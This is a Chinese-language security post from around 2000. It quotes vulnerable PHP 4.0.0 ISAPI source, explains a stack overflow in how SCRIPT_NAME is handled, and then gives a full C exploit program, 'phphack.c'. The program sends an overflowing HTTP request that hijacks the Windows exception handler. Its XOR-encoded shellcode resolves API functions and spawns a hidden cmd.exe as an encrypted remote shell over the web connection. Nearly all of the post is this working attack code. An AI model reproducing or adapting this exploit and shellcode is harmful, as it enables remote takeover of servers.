php4.0.0才出来的时候，我们测试发现php4isasp.dll有缓冲溢出漏洞，下面是php4isapi.c的相关源代码：
static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
DWORD variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;
lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);
/* Register the standard ISAPI variables */
while (*p) {
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len)
&& static_variable_buf[0]) {
php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
} else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
&& variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
}
efree(variable_buf);
}
p++;
}
/* PHP_SELF support */
#ifdef WITH_ZEUS
if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)
/* php4.0.0漏洞所在地，缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量 */
/* php4.0.3 已经修补 */
#endif
&& static_variable_buf[0]) {
php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);
/*
因为形参被覆盖，而这形参又很难伪造，所以传统的溢出攻击因为这个调用不能返回而无效
但我们可以使用异常结构攻击，可以参见我的相关的文章
*/
}
/* Register the internal bits of ALL_HTTP */
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) {
variable_buf = static_variable_buf;
} else {
if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) {
efree(variable_buf);
return;
}
} else {
return;
}
}
variable = php_strtok_r(variable_buf, "\r\n", &strtok_buf);
while (variable) {
char *colon = strchr(variable, ':');
if (colon) {
char *value = colon+1;
while (*value==' ') {
value++;
}
*colon = 0;
php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
*colon = ':';
}
variable = php_strtok_r(NULL, "\r\n", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
efree(variable_buf);
}
}
因为形参的问题，采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一，可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码：
/*
php4.0 overflow program phphack.c ver 1.0
copy by yuange <
[email protected]> 2000。08。16
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <httpext.h>
// #define DEBUG
//#define RETEIPADDR eipwin2000
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000
#define RETEIPADDRESS 0x900+4
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9
#define DATAXORCODE 0xAA
#define LOCKBIGNUM 19999999
#define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90 //0x1f90=8080
#define WEBPORT 80
void shellcodefnlock();
void shellcodefn(char *ecb);
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="LoadLibraryA""\x0""CreatePipe""\x0"
"CreateProcessA""\x0""CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0""WriteFile""\x0"
"Sleep""\x0"
"cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
"XORDATA""\x0"
"strend";
char buff1[]="GET /default.php4";
char buff2[]=" HTTP/1.1 \nHOST:";
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char SRLF[]="\x0d\x0a\x00\x00";
char eipjmpesp[] ="\xb7\x0e\xfa\x7f";
// push esp
// ret
char eipexcept[]="\xb8\x0e\xfa\x7F";
// ret
char eipjmpesi[]="\x08\x88\xfa\x7F";
char eipjmpedi[]="\xbe\x8b\xfa\x7F";
char eipjmpebx[]="\x73\x67\xfa\x7F";
// push ebx
// ret
/*
jmp ebx功能代码地址， 中文WINNT、中文WIN2000此地址固定
这是处于c_936.nls模块
win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。
*/
char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
SOCKET d_ip;
WSADATA wsaData;
int offset=0;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int OVERADD=RETEIPADDRESS;
int result;
fprintf(stderr,"\n PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 .");
fprintf(stderr,"\n copy by yuange 2000.8.16.");
fprintf(stderr,"\n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
fprintf(stderr,"\n usage: %s <server> [webport] \n", argv[0]);
if(argc <2){
fprintf(stderr,"\n please enter the web server:");
gets(recvbuff);
for(i=0;i<strlen(recvbuff);++i){
if(recvbuff[i]!=' ') break;
}
server=recvbuff;
if(i<strlen(recvbuff)) server+=i;
/*
fprintf(stderr,"\n please enter the offset(0-3):");
gets(buff);
for(i=0;i<strlen(buff);++i){
if(buff[i]!=' ') break;
}
offset=atoi(buff+i);
*/
}
result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
/*
if(argc>2){
offset=atoi(argv[2]);
}
OVERADD+=offset;
if(offset<0||offset>3){
fprintf(stderr,"\n offset error !offset 0 - 3 .");
gets(buff);
exit(1);
}
*/
if(argc <2){
// WSACleanup( );
// exit(1);
}
else server = argv[1];
for(i=0;i<strlen(server);++i){
if(server[i]!=' ')
break;
}
if(i<strlen(server)) server+=i;
for(i=0;i+3<strlen(server);++i){
if(server[i]==':'){
if(server[i+1]=='\\'||server[i+1]=='/'){
if(server[i+2]=='\\'||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i<=strlen(server);++i){
if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
}
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port=atoi(argv[2]);
else port=WEBPORT;
if(port==0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n connect err.");
gets(buff);
exit(1);
}
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memset(buff,NOPCODE,BUFFSIZE);
if(argc>4){
memcpy(buff,argv[4],strlen(argv[4]));
}
else memcpy(buff,buff1,strlen(buff1));
// strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);
memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i<0x400;++i){
if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff[i];
temp^=DATAXORCODE;
if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp=='\\'||temp=='0'||temp=='?'||temp=='%'){
buff[OVERADD+NOPLONG+k]='0';
// buff[NOPLONG+k]='0';
++k;
temp+=0x40;
}
buff[OVERADD+NOPLONG+k]=temp;
// buff[NOPLONG+k]=temp;
++k;
}
// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;
/*
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+OVERADD+i,eipexcept,4);
}
memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
for(i=-40;i<0x40;i+=8){
memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4);
memcpy(buff+OVERADD+i+4,eipjmpebx,4);
}
memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24);
// fprintf(stderr,"\n offset:%d",offset);
/*
192.168.8.48
if(argc>2){
server=argv[2];
if(strcmp(server,"win9x")==0){
memcpy(buff+OVERADD,eipwin9x,4);
fprintf(stderr,"\n nuke win9x.");
}
if(strcmp(server,"winnt")==0){
memcpy(buff+OVERADD,eipwinnt,4);
fprintf(stderr,"\n nuke winnt.");
}
}
*/
sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;
strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"\n\n");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
}
memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);
strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64");
strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n");
*/
// printf("\n send buff:\n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);
/*
#ifdef DEBUG
_asm{
lea esp,buff
add esp,OVERADD
ret
}
#endif
*/
if(argc>6) {
if(strcmp(argv[6],"debug")==0) {
_asm{
lea esp,buff
add esp,OVERADD
ret
}
}
}
xordatabegin=0;
for(i=0;i<1;++i){
j=sendpacketlong;
fprintf(stderr,"\n send packet %d bytes.",j);
// fprintf(stderr,"\n sned:\n%s ",buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,"\n ok!\n");
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,"\n recv:\n %s",recvbuff);
}
}
k=1;
ioctlsocket(fd, FIONBIO, &k);
// fprintf(stderr,"\n now begin: \n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
/*
for(i=0;i<strlen(SRLF);++i){
SRLF[i]^=DATAXORCODE;
}
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
*/
k=1;
while(k!=0){
if(k<0){
gets(buff);
k=strlen(buff);
memcpy(buff+k,SRLF,3);
// send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff);
for(i=0;i<k+2;++i){
lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
// buff[i]^=DATAXORCODE;
}
send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
}
if(k>0){
// fprintf(stderr,"recv %d bytes",k);
if(xordatabegin==1){
for(i=0;i<k;++i){
lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
}
}
buff[k]=0;
fprintf(stderr,"%s",buff);
}
// if(k==0) break;
}
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n the server close connect.");
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
_emit('.')
_emit('p')
_emit('h')
_emit('p')
_emit('4')
_emit('?')
jmp next
getediadd: pop EDI
push EDI
pop ESI
push ebx // ecb
push ebx // call shellcodefn ret address
xor ecx,ecx
looplock: lodsb
cmp al,cl
jz shell
cmp al,0x30
jz clean0
sto: xor al,DATAXORCODE
stosb
jmp looplock
clean0: lodsb
sub al,0x40
jmp sto
next: call getediadd
shell: NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void shellcodefn(char *ecb)
{ char Buff[SHELLBUFFSIZE+2];
int *except[2];
FARPROC Sleepadd;
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
FARPROC procgetadd=0;
FARPROC writeclient= *(int *)(ecb+0x84);
FARPROC readclient = *(int *)(ecb+0x88);
HCONN ConnID = *(int *)(ecb+8) ;
char *stradd;
int imgbase,fnbase,k,l;
HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
int lBytesRead;
int lockintvar1,lockintvar2;
char lockcharvar;
SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
getstradd: pop stradd
lea EDI,except
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。
if(procgetadd==0) goto die ;
for(k=1;k<SHELLFNNUMS;++k) {
apifnadd[k]=procgetadd(libhandle,stradd);
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo));
_asm{
lea EDI,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1;
siinfo.hStdError =hWritePipe1;
k=0;
// while(k==0)
// {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
stradd+=8;
// }
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
k=8;
writeclient(ConnID,stradd+9,&k,0);
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) {
for(k=0;k<lBytesRead;++k){
lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
}
}
else{
lBytesRead=SHELLBUFFSIZE;
k=readclient(ConnID,Buff,&lBytesRead);
if(k!=1){
k=8;
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
while(1){
Sleepadd(0x7fffffff); //僵死
}
}
else{
for(k=0;k<lBytesRead;++k){
lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000);
}
}
}
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i<len;++i){
temp=shellbuff[i];
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}
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